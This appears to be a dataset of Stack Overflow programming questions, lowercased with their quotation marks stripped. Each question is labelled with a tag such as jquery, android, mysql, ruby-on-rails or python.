jquery add class and keep it after page reload  i have a problem with keeping added classes on click event after page is reloaded.    let s assume i ve got markup like this:   <pre><code>&lt;ul class= menu &gt;   &lt;a class= partial-link  href= {% url  payment-technology-mainpage  %} &gt;&lt;li class= menu-first &gt;&lt;span class= line &gt;one&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  insurance_mainpage  %} &gt;&lt;li class= menu-first &gt;&lt;span class= line &gt;two&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  admin_mainpage  %} &gt;&lt;li class= menu-first &gt;&lt;span class= line &gt;three&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  bok_mainpage  %} &gt;&lt;li&gt;&lt;span class= line &gt;four&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  regio_dashboard  %} &gt;&lt;li class= menu-last &gt;&lt;span class= line &gt;five&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  intercity_mainpage  %} &gt;&lt;li class= menu-last &gt;&lt;span class= line &gt;six&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  tickets-mainpage  %} &gt;&lt;li class= menu-last &gt;&lt;span class= line &gt;seven&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt;   &lt;a class= partial-link  href= {% url  angular-tickets  %} &gt;&lt;li class= menu-last &gt;&lt;span class= line &gt;eight&lt;/span&gt;&lt;span class= arrow &gt;&amp;rarr;&lt;/span&gt;&lt;/li&gt;&lt;/a&gt; &lt;/ul&gt; </code></pre>   i d like to add class  active  to  span  inside  a  elements and keep it after page is reloaded. i tried to do something like this:   <pre><code>var menuitem = $( span.line ); menuitem.on( click   function(e) {    menuitem.removeclass( active );    $(this).addclass( active ); }); </code></pre>   but it doesn t work :( i ll be grateful for any ideas.    <strong>edit</strong> or maybe do you have any other solutions to make menu-items colored after clicking them  the problem is that i want them stay colored after page reload.,jquery
add target=“_blank” to link with javascript  simple question: how do you add target=“_blank” to the returned link in the following function    <pre><code>   string.prototype.parsehashtag = function() {     return this.replace(/[#]+[a-za-z0-9-_]+/g  function(t) {         var tag = t.replace( #   %23 )         return t.link( http://search.twitter.com/search q= +tag);     }); </code></pre>   it is printed like this:   <pre><code>$( #twitterfeed span ).html(data[twitternumber].text.replace(urlregexp   &lt;a target=_blank href= $1 &gt;$1&lt;/a&gt; ).parsehashtag().parseusername()); </code></pre>,javascript
how to change color of select box after option is selected  i have tried a lot but can not do this. i want to show the red background colour to the selectbox after option is selected.   <pre><code>&lt;select&gt;     &lt;option&gt;1&lt;/option&gt;     &lt;option&gt;2&lt;/option&gt;     &lt;option&gt;3&lt;/option&gt; &lt;/select&gt;  &lt;style type= text/css &gt; select:hover {      background:#ff0000;      color : #ffffff; } &lt;/style&gt; </code></pre>,css
gathering user input and put in formatted mail/attachment  i have a simple app which is gathering user input. once the user enters what is requested (it is only text)  he presses a confirm button and then i want this info to be send in the background via e-mail. i do this in the form of a simple text - nothing fancy.    now i want to understand is there a way to format the input data  how can i put the information in a table so it is received in a table to my e-mail  or is there a way to put it on pdf/word and e-mail it - all this in the background,android
cannot resolve symbol number format android  this is my code   <pre><code>private void displayprice(int number) {         textview pricetextview = (textview) findviewbyid(r.id.price_text_view);         pricetextview.settext(numberformat.getcurrencyinstance().format(number));     }} </code></pre>   i am getting cannot resolve symbol number format .,android
timestamp  datetime as default value as current_timestamp [partition]  i have a table column called <strong><code>recorddate</code></strong> where it has timestamp datatype to default <code>current_timestamp</code>. now i have few questions regarding maintenance part.   <ol> <li> i should partition this table keeping <code>recorddate</code> as <code>rangekey</code>. but now it wouldn t allow partition key for timezone-dependent expressions in (sub)partitioning function. </li> <li> if i change the <em>timestamp</em> datatype to <em>datetime</em> for <code>recorddate</code> the partition is created but it won t allow default <code>current_timestamp</code> database level.    2.1 . when i see forums stating <strong>mysql 5.6.5</strong> has <em>datetime</em> datatype can have <code>current_timestamp</code>  <code>now()</code>. would it allow <code>rangebykey</code> for partition   </li> </ol>   [another thought that clings on my head is  would it be good to pick a distribution that is still under developement]    any suggestions or work around  i really don t like the concept of triggers having to be on <code>recordate</code> upon insert if null. as it seeds records almost <em>5 hundered thousands per day</em> and peak time goes to 8 transactions per second on that table. that is the intent of falling on to partitions.,mysql
angularjs - still confused about  assigning  a property on the scope a value in code  i am attempting to modify a model that exists on my <code>$scope</code> in a normal function on an angular controller; but it is not behaving as i expect. i presume this is because there is a specific way you have to assign something to an object that is bound to other controls.    my html looks like ...   <pre><code>&lt;div data-kendo-grid data-k-on-change= editor.handlechange(selected  data  dataitem  columns  model) &gt;&lt;/div&gt; </code></pre>   my <code>$scope</code> looks something like ...   <pre><code>$scope.model = {     /* propertyes */ };  $scope.handlechange = function(selected  data  dataitem  columns  target){    target = dataitem; // gets the raw json of what was selected }; </code></pre>   however  this doesn t update my view.. nor does it properly adjust my model. so i have 2 main issues.   <ol> <li>how do i assign a value to my <code>$scope.model</code> if only  model  is passed through the function </li> <li>how do i ensure that the updates to <code>$scope.model</code> are reflected on the view </li> </ol>,angularjs
drop down list in .net windows application  first of all thanks to all  now i am getting the dropdown value change on the selection of first dropdwon. pfb the source code.    <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms;  namespace testexcel {     public partial class form1 : form     {         public form1()         {             initializecomponent();             cmbpackage.items.add( ---please select--- );             cmbpackage.items.add( hr );             cmbpackage.items.add( test );             cmbpackage.items.add( dev );         }             private void cmbpackage_selectedindexchanged(object sender  eventargs e)       {          string selectedvalue = cmbpackage.selectedindex.tostring();                       if (selectedvalue ==  1 )          {              cmbmodule.items.add( modulehr1 );              cmbmodule.items.add( modulehr2 );              cmbmodule.items.add( modulehr3 );           }           else if (selectedvalue ==  2 )          {              cmbmodule.items.add( moduletest1 );              cmbmodule.items.add( moduletest2 );              cmbmodule.items.add( moduletest3 );          }           else          {              cmbmodule.items.add( moduledev1 );              cmbmodule.items.add( moduledev2 );              cmbmodule.items.add( moduledev3 );          }       }   }  } </code></pre>   now i want to make index 0. i mean  please select  will load at the time of page load only and not by clicking on  cmbpackage  dropdown.    also i want to change the drop dwon values of  cmbmodule  based on selections on the cmbpackage dropdown. currently its changing but all the values are getting stored in the  cmbmodule  dropdown. i want if i select  hr  only modulehr1  modulehr2  modulehr3 will display and same for rest  test  and  dev .   <hr>   right if i will use  cmbmodule.items.clear()   it will clear all my records.    what i want how can if i select  hr  only modulehr1  modulehr2  modulehr3 will display  same way for  test  and  dev   but again if i select  hr  after selecting  test  or  dev   it has to show only modulehr1  modulehr2  modulehr3. how top do this,.net
how to make popup on click on button  but one single button 2 text and 2 popup using jquery   hi friends there is a single button but the text will change for the button if you click on it     what i need is if i click button1 one popup should come and on the popup if i click ok the button should change to button2    on click on button2 another pop up should come. this is the functionality.    here fiddle <a href= http://jsfiddle.net/ljrpd/23/  rel= nofollow >http://jsfiddle.net/ljrpd/23/</a> here i implemented one button two text on toggle    <strong>script</strong>   <pre><code>  var app = angular.module( my-app   []  function () {  })  app.controller( appcontroller   function ($scope) {  $scope.toggle = true;   $scope.$watch( toggle   function(){  $scope.toggletext = $scope.toggle    button1  :  button2 ;   })   }) </code></pre>,jquery
indexerror: list index out of range but i  know  it is  i am wondering <strong>why</strong> the following situation may occur:    i have a list:   <pre><code>all_hits = list1 + list2 length_hits = len(all_hits) i = 0  while i &lt; int(length_hits) - 1:     if len((all_hits[i])[1]) &gt;=3:         do x     else:         do y </code></pre>   this gives me an error:   <pre><code>  file  file.py   line z  in function:     if len((all_hits[i])[1]) &gt;= 3:  indexerror: list index out of range </code></pre>   so far:   <ol> <li>if i write each <code>all_hits[i][1]</code> which is >=3 characters long to a file i reach about 18 000 entries but if i print <code>len(all_hits)</code> the answer is 39 000 elements.</li> <li>i can print the <code>all_hits[-1]</code> entry and it does not correspond with the final entry in the written list.</li> </ol>   as far as i can see i am not altering the original list.    why ! i have been 2 days on this problem and it is driving me crazy.    edit:  3. i have printed the final entry and a few after/before it to ensure they have the correct number of elements and everything looks ok there.     edit and thank you:    thanks everyone. you were  of course  correct. one of my entries had  out of nowhere  only one list object. i don t know how or why but that s a different kettle of fish altogether!    thank you for your help!,python
curious behavior when doing addition on nullable floats  i ve noticed something very odd when working with addition of nullable floats. take the following code:   <pre><code>float  a = 2.1f; float  b = 3.8f; float  c = 0.2f; float  result =  (a == null   0 : a) + (b == null   0 : b) + (c == null   0 : c); float  result2 =  (a == null   0 : a.value) + (b == null   0 : b.value) + (c == null   0 : c.value); </code></pre>   <code>result</code> is <code>6.099999</code> whereas <code>result2</code> is <code>6.1</code>. i m lucky to have stumbled on this at all because if i change the values for <code>a</code>  <code>b</code>  and <code>c</code> the behavior typically appears correct. this may also happen with other arithmetic operators or other nullable value types  but this is case i ve been able to reproduce. what i don t understand is why the implicit cast to <code>float</code> from <code>float </code> didn t work correctly in the first case. i could perhaps understand if it tried to get an <code>int</code> value given that the other side of the conditional is <code>0</code>  but that doesn t appear to be what s happening. given that <code>result</code> only appears incorrect for certain combinations of floating values  i m assuming this is some kind of rounding problem with multiple conversions (possibly due to boxing/unboxing or something).    any ideas,c#
turn off default screen touch sound  i am writing a simple android application in which i am facing one unwanted sound.    the problem is that whenever i start the application and touch anywhere on the screen the default system screen touch sound is played every time. i want to stop that sound being played while my application is running. please tell me how can i do that,android
mysql 5.7.9 el capitan lost password  please help  i ve searched all over the internet but nothing seems to be working.    i installed mysql 5.7.9 from the install disk image and received the pop-up with a root password.     i promptly lost the pop-up and therefore the password! since then i have tried several tutorials but each one doesn t seem to be explicitly for el capitan.    how can i reset the root password     so far  i ve managed to get to    <pre><code>sudo mysqld_safe --skip-grant-tables  </code></pre>  <blockquote>    error 1045 (28000): access denied for user  root @ localhost  (using   password: no)  </blockquote>   please help.,mysql
nest headings properly (h1 > h2 > h3) in html   <strong>css :-</strong>   <pre><code>  #sidebar .sidelink h6{         margin-left: 10px;         padding-left: 22px;         padding-top: 9px;         color: #f1f1f1;         font-size: 18px;         margin-bottom: 10px;     } </code></pre>   <strong>html :-</strong>   <pre><code>&lt;div class= sidelink &gt; &lt;h6 class= side-title &gt;              our products &lt;/h6&gt; &lt;/div&gt; </code></pre>   when i try to validate the above code. i got a error  nest headings properly (h1 > h2 > h3)     how to solve this,html
why viewwillappear is not call while present the other viewcontroller as a formsheet  i have 2 vc  a and b  when a present b as a formsheet type  the method <code>viewwilldisappear</code> in a not called. so when i do something in b  and press back to a  the <code>viewwillappear</code> not called. so how to make the <code>viewwillappear</code> in a called  i ve seen somewhere  but i din t find the clearly answer.    in b i set:   <pre><code>protocol callbackviewwillappeardelegate: class {     func callbackviewwillappear(controller: userrightroletableviewcontroller) } </code></pre>   and delegate variable:   <pre><code>weak var callbackviewwillappeardelegate: callbackviewwillappeardelegate  </code></pre>   and in the back button:   <pre><code>@ibaction func backtouserrightbuttonaction(sender: anyobject) {         callbackviewwillappeardelegate .callbackviewwillappear(self)         dismissviewcontrolleranimated(true  completion: nil)              } </code></pre>   in a i import the protocol and set the protocol function:   <pre><code>func callbackviewwillappear(controller: userrightroletableviewcontroller) {         viewwillappear(true)     } </code></pre>,ios
is it possible to have a space in the title of a column in a temporary table   i am trying to create the names of columns in a temporary table with spaces. the reason i need these spaces in the name is so that it connects properly with our asp.net application that will be using this as a data set. because the columns from other regular tables have a space  the code is looking for an item in the data set with a space as well. below is an example of what i m trying to do   <pre><code>declare @temp table (id int  scheduled start datetime) </code></pre>   but this is not allowed  and will throw an error. in the server side of my application (asp.net - vb) - the call to use this field looks like this   <pre><code>lblstart.text = ds.item( scheduled start ) </code></pre>   this is why i need the space in the name  in the temporary table  so that when using the regular results or results from the temporary table  the dataset will work for the same server side code. is this possible  i have tried to use quotes  but not having any luck. thanks again.,sql
inserting or copy/pasting picture to a textbox  i have a file with a textarea (named  resolution support ) in which you can explain how to solve a problem. my problem is that a user would be able to add a picture for a better explaining. if he copy/paste or he has to click and drag or anything i don t care  he has to be able to put a picture into the textarea.  i wondered if another textbox that can do this would exist and what type does the textbox has to be in phpmyadmin.    my textarea :   <pre><code>&lt;textarea  name= escalade  class= longinput  cols= 80%  rows= 19  wrap= hard &gt; &lt;/textarea&gt; </code></pre>,html
parameter missing ruby on rails  when i tried the create action  i <strong>actioncontroller::parametermissing in welcomecontroller#create     param not found: post</strong> for welcome controller. why would this be happening     here is the controller:   <pre><code>class welcomecontroller &lt; applicationcontroller     def index1     @data = params[:text1]   @data1 = params[:text2]  end   def new      end   def create      render text: params[:post].inspect      @post = welcome.new(post_params)      @post.save      redirect_to @post  end       private    def post_params     params.require(:post).permit(:text1 :text2)    end  def show    @post = welcome.find(params[:id])  end </code></pre>   welcome/index.html.erb   <pre><code>enter code here  &lt;%= form_tag( /welcome  method: :post action: :show) do %&gt;   &lt;p&gt;  &lt;%= label_tag(:text1   enter username : ) %&gt;  &lt;%= text_field_tag(:text1  nil  placeholder:  enter username ) %&gt;   &lt;/p&gt;   &lt;p&gt;    &lt;%= label_tag(:text2   enter password : ) %&gt;    &lt;%= text_field_tag(:text2  nil  placeholder:  enter password ) %&gt;    &lt;/p&gt;   &lt;p&gt;    &lt;%= submit_tag( submit )%&gt;    &lt;/p&gt;    &lt;% end %&gt; </code></pre>,ruby-on-rails
how can i develop multiple rails apps and make them work as one   i have a rails application (a sass type app)  a sales website for it  and a blog that all share the same domain (mysite.com  blog.mysite  app.mysite).  i would like to develop these as 3 different rails apps/projects  but then be able to merge them all together into 1 rails application that shares a single database  domain name  and rails webserver (i don t want 3 different rails sites running)     is this possible   i was thinking a plugin or engine or something might be able to do it  but not sure what the best approach is.,ruby-on-rails
about  this  in javascript <pre><code>var name =  the window. ; var object = {     name: object       getname: function(){         return this.name;     } } (object.getname)(); // object  (object.getname = object.getname)(); // the window  </code></pre>   i run this code  and it return  the window   while i think it should be  object .please tell me why  thanks.,javascript
is there any possibility to convert a varbinary image to its file path in c#   i want to retrieve the image from the database on edit.    but i want it to appear as its file path (which was uploaded previously).    my idea is to convert varbinary to byte[]  byte[] to image using memorystream and image to its file path..    is it possible and can anyone help me with it,c#
why only works the first video call on android sdk quickblox 3.3.1   i m developing an android app that include a service of video chat (using the <strong>quickblox s sdk</strong>). all is fine on the first received call  but after of hang up the video call  the device can t received more calls.    the only suspicious message error is:   <blockquote>    e/class com.xxxx.xxxx.services.callservice: ping chat server failed  </blockquote>   also <code>webrtc.logging</code> detect the second and more incoming calls  but not show the incoming call fragment.    i m using <strong>quickblox sdk version 3.3.1</strong>,android
how can i detect wheather the number key  which is equivalent to the number in the int parameter  is pressed   i have the following lines of code in my console application in c#:    <pre><code>public static bool readkey(int key) {     /* is the key represented by `key` pressed  */ } </code></pre>   how am i able to retrieve the right keyboard key,c#
breaking up a rails app into two  we have a very lage rails app that has two distinct sections: the front end and the cms/admin. we would like to break up the app into two pieces (for maintenance  as we have distinct teams that work on the front end vs. back end and they could have different release cycles).    one thought was to start a new admin 2.0 app that has access to the models/schema from the original application  but has its own controllers/views and its own models that extend the original models until it is safe to fully decouple. is this advisable  if not  what would be an appropriate plan to migrate away from one monolithic codebase,ruby-on-rails
there is an array array1=[20 10 4 3 8 9 30]. there result array should have the immediate next number of the main array. i.e array2=[30 20 8 4 9 30]  there is an array array1=[20 10 4 3 8 9 30]. there result array should have the immediate next number of the main array. i.e array2=[30 20 8 4 9 30]. is there any better way to do this  like o(n) solution   <pre><code>def two_string():         a = [20 10 4 3 8 9 30]         b = []         count1 = count2 = 0         for i in range (len(a)-1):             for j in range(i  len(a)):                 if a[i]&lt;a[j]:                     count1 = a[j]                     b.append(count1)                     break          print b  two_string()       </code></pre>,python
.net class for holding and manipulating binary data  is there a class in the .net bcl that can store a block of binary data and that allows you to easily add and remove bytes to/from it,.net
is using c functions instead of static methods for making pure functions a bad design   if i am implementing a function that does some calculation based on certain input and returns the output without causing any side effects.    i always use regular c functions instead of having static methods in a class.    is there a rationale behind using static methods forcefully put into a class      i am not talking about methods that create singletons or factory methods but the regular methods like there:    instead of having something like this:   <pre><code>+(nsstring *)generatestringfromprefixstring:(nsstring *)prefixstring word:(nsstring *)word; </code></pre>   won t this be better     <pre><code>nsstring *generatestring(nsstring *prefixstring  nsstring *word); </code></pre>   in terms of efficiency also  wont we be saving  lookup for the selector to get the function pointer,objective-c
how to remove all text except image links  i have a text file that contains a lot of html tags a lot of text and some http image links like <a href= http://dsabhbadfbsafasd.com/daifds.jpg  rel= nofollow >http://dsabhbadfbsafasd.com/daifds.jpg</a> how do i remove all text and tags so only the image links are left   or how to get all the links out from the text.  is there a software or website that can do this ？ thanks,html
can  locals  be used with  collection  when rendering partials in rails   everything works okay when i try to render a partial like this:   <pre><code>= render :partial =&gt;  /shared/enquiry/car_type   :collection =&gt; @enquiry.available_car_types </code></pre>   however  if i also want to pass a variable (in this case  path   because i m sharing this partial across two forms)  the path is not available to me:   <pre><code>= render :partial =&gt;  /shared/enquiry/car_type   :collection =&gt; @enquiry.available_car_types  :locals =&gt; {:path =&gt; customers_enquiry_path} </code></pre>   i ve tried moving things around  but nothing appears to work  leading me to believe one cannot use locals with collections. any help would be appreciated.    gav,ruby-on-rails
validation between two date rails  i am trying to create a reservation/booking appointment  the user select two dates the starting date and the end date  how can i validate the date from the starting and the end date and also validate the dates in between those two dates <strong>preventing the user from choosing again the starting  end date and the dates in between.</strong>     database   <pre><code> date_start   |  date_end    14/11/2017      14/18/2017 </code></pre>   view:     date field for the dates   <pre><code> &lt;%= f.label : date_start:  %&gt;  &lt;%= f.date_field :date_start %&gt;   &lt;%= f.label : date_end:  %&gt;  &lt;%= f.date_field :date_end %&gt; </code></pre>   model    <pre><code>class reservation &lt; applicationrecord   belongs_to: user  validates :date_start  uniqueness: true  validates :date_end  uniqueness: true end </code></pre>   i used <code>validates :date_start  uniqueness: true</code> and <code>validates :date_end  uniqueness: true</code> but it only checks for the date start and the date_end but it does not check the dates in between them.,ruby-on-rails
concatenating bytes into integer or short preserving sign  i know i can extract bytes from int like this:   <pre><code>bytes[] inttobytes(int i) {   return new byte [] {(byte) ((i &gt;&gt; 8) &amp; 0xff)  (byte) (i &amp; 0xff)}; } </code></pre>   which i subsequently send as part of a serial transmission. but can i do the reverse  after receiving a sequence of bytes  reconstruct the original data  preserving the sign. currently  i do this  but it feels a bit over the top:   <pre><code>int bytestoint( byte hi  byte lo) {   return ((hi &lt;&lt; 24) | (lo &lt;&lt; 16)) &gt;&gt; 16; } </code></pre>   is there another way or a better way  does it make a difference if i know i am ultimately dealing with signed 16-bit data only,c#
first element with margin-bottom 10px and second element with margin-top 10px  this margin-top only work if i put value large than margin-bottom  why   i don t know but the li element margin-top will only work if it s large than margin-bottom of h2 element  i would like to know why    <pre><code>&lt;h2 style= padding:0px; margin:0; height:30px; line-height:30px; background-color:#ff0000; font-size:18px; font-family:arial; margin-bottom:10px; &gt;test1&lt;/h2&gt; &lt;ul style= list-style:none; padding:0; margin:0; &gt; &lt;li style= height:50px; line-height:50px; background-color:#00ff00; font-size:12px; font-family:arial; margin-top:10px; &gt;test2&lt;/li&gt; &lt;/ul&gt; </code></pre>   thanks.,css
iphone table view check mark accessory problem  i have a table with 50 rows. i want to select particular rows with checkmark accessory but when i select some rows and scroll down the table then i see pre checked rows. i know that table cell are reused but i want to emit this problem what can i do about this    <pre><code> - (nsinteger)numberofsectionsintableview:(uitableview *)tableview {     return 1; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {    // return [array count];     return 50; }  // customize the appearance of table view cells. - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {      static nsstring *cellidentifier = @ cell ;    tableviewcell *cell = (tableviewcell *)[tableview dequeuereusablecellwithidentifier:cellidentifier];      if (cell == nil) {         cell = [[[tableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease];      }     cell.textlabel.text=[nsstring stringwithformat:@ %i  [indexpath row]];     return cell; }  // override to support row selection in the table view. - (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {      uitableviewcell *cell = [tableview cellforrowatindexpath:indexpath];      if (cell.accessorytype == uitableviewcellaccessorynone) {         cell.accessorytype = uitableviewcellaccessorycheckmark;      } else {         cell.accessorytype = uitableviewcellaccessorynone;     } </code></pre>,iphone
clickevent in javascript  what is difference between onclick and onclientclick events,javascript
how to upload image to facebook cover photo using ios programming    here i am using fbgraph library to connect facebook and upload photos. it s successfully done.   <pre><code> [facebook requestwithgraphpath:@ me/photos                           andparams:params                      andhttpmethod:@ post                         anddelegate:self]; </code></pre>   but if i try to upload image to facebook cover it is not uploading at all.   <pre><code>[facebook requestwithgraphpath:@ me/cover                           andparams:params                      andhttpmethod:@ post                         anddelegate:self]; </code></pre>   so can anybody tell me the solution. or another proper way.,ios
first row from a table into single column - sql query  please look the below table    <pre><code>rowid  name    age 1      karhik  26 </code></pre>   i want result in below format   <pre><code>column1 1 karthik 26 </code></pre>,sql
can t dismiss progress dialog in android  how to dismiss progress dialog in android after completion of background process      i had tried on google but not get specific solution as i want.    here is my code :   <pre><code>private void next() {      string url =  http://10.0.2.2/final/studentrecord.php ;     fetchdatatask task = new fetchdatatask(url);       dialog = progressdialog.show(this       fetching studentlist from server...   true  true);       task.execute(url);  } </code></pre>   how can i do this,android
displaying the name of the month in php from a data that comes from mysql  i am very new to php(5.x) and mysql       i am getting some information from mysql in my php app. which includes  dates.    i have a full date like  01.01.2016 09:30 . how can i show this in my view(html) table as <code>january 2016</code>      i am displaying it now like that    <pre><code>       foreach($data as $d) {             echo  &lt;tr&gt; ;             echo  &lt;td style= white-space: nowrap &gt; .$d[ datumvon ]. h&lt;/td&gt; ;             echo  &lt;td style= white-space: nowrap &gt; .$d[ datumbis ]. h&lt;/td&gt; ;             echo  &lt;td&gt; .$d[ dauerstunden ]. &lt;/td&gt; ;             echo  &lt;/tr&gt; ;         } </code></pre>   the date format i show is dd.mm.yyyy but the data is stored on the database as a timestamp,php
algorithm for operating on 2d array with radius  trying to think of the best way to handle this problem with my 2d game. i want to be able to specify a coordinate pair (x y) and a radius value. given this information  i want to operate on all elements of the gamemap[][].     so if radius = 0:   <pre><code>x </code></pre>   if radius = 1:   <pre><code>xxx xxx xxx </code></pre>   if radius = 2:   <pre><code>xxxxx xxxxx xxxxx xxxxx xxxxx </code></pre>   this is what i have so far  which falls apart if radius > 1   <pre><code>for(int i = 1; i &lt; radius; i++) {                 // right                 setareaobject(locx+i  locy+i);                 setareaobject(locx+i  (locy+i)-1);                 setareaobject(locx+i  locy-i);                  // center                 setareaobject((locx+i)-1  locy+i);                 setareaobject((locx+i)-1  (locy+i)-1);                 setareaobject((locx+i)-1  locy-i);                  // left                 setareaobject(locx-i  locy+i);                 setareaobject(locx-i  (locy+i)-1);                 setareaobject(locx-i  locy-i);             } </code></pre>   thanks for any thoughts or ideas,java
multiple sessions in different tabs in same browser window  is there any way that we can have different sessions for different tabs in a same browser window  so that multiple users can be logged into same application in same browser window in different tabs using c#.net mvc.    if it is possible how to retreive session variables in different tabs in server side that is in c#    thanks   l sreedhar,.net
how can i code a set of numbers to a file so that the file has a minimal size   i have to code some algorithm s result in a file. a result is a list of blocks  each one defined by 5 numbers: 3 ints and 2 floats. the simplest way to code it in a file is of course plain text  for example like this:   <pre><code>12 56 81 0.34 1.67  124 11 76 0.75 6.11  ... </code></pre>   it is also the worst way taking the file size into account.     how could i reduce the file size  if these were all integers  i would just convert them to bytes and simply write them as bytes to file and it would reduce the size a bit. but the floats are more problematic. any ideas  in c# .net,.net
multiple fields not display in single form and model rails  i have model product. i want to create multiple record in single model (product)  but fields not display in view   <pre><code>#controller  @products = array.new(3){ product.new }  # view  &lt;%= form_tag create_product_path  :method =&gt; :post  :class =&gt;  form-horizontal     role  =&gt;  form  do %&gt; &lt;% @products.each_with_index do |product  index| %&gt;  &lt;% fields_for  products[#{index}]   product do |f| %&gt;    &lt;%= f.text_field :date  %&gt;    &lt;%= f.text_field :name  %&gt;  &lt;% end %&gt; &lt;% end %&gt; &lt;%= submit_tag  submit   :class =&gt;  btn btn-primer  %&gt; </code></pre>        look at this screenshoot  fields not appear. can anyone tell me  why new form method using array not appear     <img src= https://i.stack.imgur.com/av31i.jpg  alt= notdisplay >,ruby-on-rails
indentation error in python 3.6  when i run this code in idle  i get a syntaerror(expected an indent block) the thing is that i dont see any indentation problem. what the code does: it reads  cities.txt  file(with string lines) it then copies those lines in  out.txt   after enumeration in each line   <pre><code>try:     with open( cities.txt    r+ ) as inp: except filenotfounderror:     print( file not found ) except:     print( error ) else:     try:         with open( out.txt    a+ ) as out:     except filenotfounderror:         print( file not found )     except:         print( error )     else:         for i  line in enumerate(inp):             out.write(str(i+1)+ :  +line)             print(str(i+1)+ :  +line  end= \n ) </code></pre>,python
angularjs 1.3.0-beta.8 and greater breaks all my apps with $injector error  so i was on version beta.6 and was working just fine...decided to go to the new version and immediately got some errors.  started to work my way back and my apps work fine on beta.7 and then something happened between beta.7 and beta.8  which is not very clear but it is constantly throwing this error:    [$injector:modulerr] failed to instantiate module ng due to: error: [$injector:unpr] unknown provider: $filterprovider    here is a sample of my angular app.   <pre><code> use strict ;  var countries = angular.module( countries  [ ngroute ]) .config([      $routeprovider   function($routeprovider) {          $routeprovider              .when( /countries   { controller: tabsctrl  templateurl:  /areas/mis/templates/countries/tabs.html  })              .otherwise({ redirectto:  /countries  });      } ]); </code></pre>,angularjs
jquery - remove wrapping tag  but maintain text position   let s say i have a scrap of code like this:    <code>lorem ipsum &lt;span&gt;dolor sit amet&lt;/span&gt;  lorem ipsum dolor...</code>    i can select the span with jquery and remove it from the dom  but that removes the contained text as well. is there a way  using jquery  to remove the wrapping span while leaving the text in place  is it possible to re-inject the text in it s original position  or is there an easier way,jquery
what is a dynamic callback   i m following <a href= http://c.learncodethehardway.org/book/  rel= nofollow >learn c the hard way</a> online.    at a point the author talks about  dynamic callback  to a function.    could someone explain me what it is exactly because i didn t get it,c
angular running ng-if with higher priority than ng-repeat  i have a template with an <code>ng-if</code> that checks if something is an array and an inner ng-repeat that loops over it and re-applies the same template. otherwise if its a string it just prints the value.    unfortunately  it seems <code>ng-if</code> (600) has a lower priority than <code>ng-repeat</code> (1000)  so even with strings  the ng-repeat just calls the template over and over again (i guess with each letter of the string) and hangs the browser.    any ideas on how to make the <code>ng-if</code> run in higher priority  or any other nice way to accomplish this     <strong>directive</strong>   <pre><code>app.directive( cell   function () {     return {         restrict:  ae           scope: {             celldata:  =celldata          }          link: function (scope  element  attrs)         {             scope.isstring = function (str)             {                 return angular.isstring(str);             };             scope.isarr = function (arr)             {                 return !angular.isstring(arr) &amp;&amp; angular.isarray(arr);             };         }          transclude: true          templateurl: function (elem  attrs)         {             return  /template/celldata ;         }     } </code></pre>   <strong>template</strong>   <pre><code>span(ng-if= isarr(celldata) )     | [     span(ng-repeat= inner in celldata )         cell(celldata= inner )         span(ng-if= !$last )  &amp;nbsp     | ] span(ng-if= !isarr(celldata) )     span(ng-bind= isstring(celldata)    \  +celldata+ \   : celldata ) </code></pre>   <strong>edit:</strong> i solved the problem using the code from <a href= https://stackoverflow.com/questions/19120386/angularjs-transclude-directive-template >this question</a>. i don t <em>really</em> get it  but i m happy it works.,angularjs
"slideshow with page number in js  i created simple slideshow. if yu want to change image  you have to click on arrows button on keyboard. i want to add description e.g.  1 item from 7  etc.     here is my source:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var img_index = 0;
 var imgs = [
    assets/1.jpg  
    assets/2.jpg  
    assets/3.jpg  
    assets/4.jpg  
    assets/5.jpg  
    assets/6.jpg  
    assets/7.jpg 
 
 ];
 
 function changeimage() {
   var img = document.getelementbyid( images );
   img_index = ++img_index % 7;
   img.src = imgs[img_index];
 }
 
 
 function checkkey(e) {
 
   e = e || window.event;
   if (e.keycode ==  37 ) {
     changeimage();
   } else if (e.keycode ==  39 ) {
     changeimage();
   }
 
 }
 
 document.onkeydown = checkkey;
 
 
 
 function slidertext (){
   
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html lang= en &gt;
 
 &lt;head&gt;
   &lt;meta charset= utf-8 &gt;
   &lt;meta name= viewport  content= width=device-width  initial-scale=1.0 &gt;
   &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;
   &lt;link rel= stylesheet  href= style12.css &gt;
   &lt;title&gt;task 12&lt;/title&gt;
 &lt;/head&gt;
 &lt;div id= slideshow_section &gt;
   &lt;img id= images  src= assets/1.jpg  /&gt;
 &lt;/div&gt;
 
 &lt;body&gt;
 
 &lt;/body&gt;
 &lt;script src= script12.js &gt;&lt;/script&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     can you give me some hints how can i do that      thank you   megi",javascript
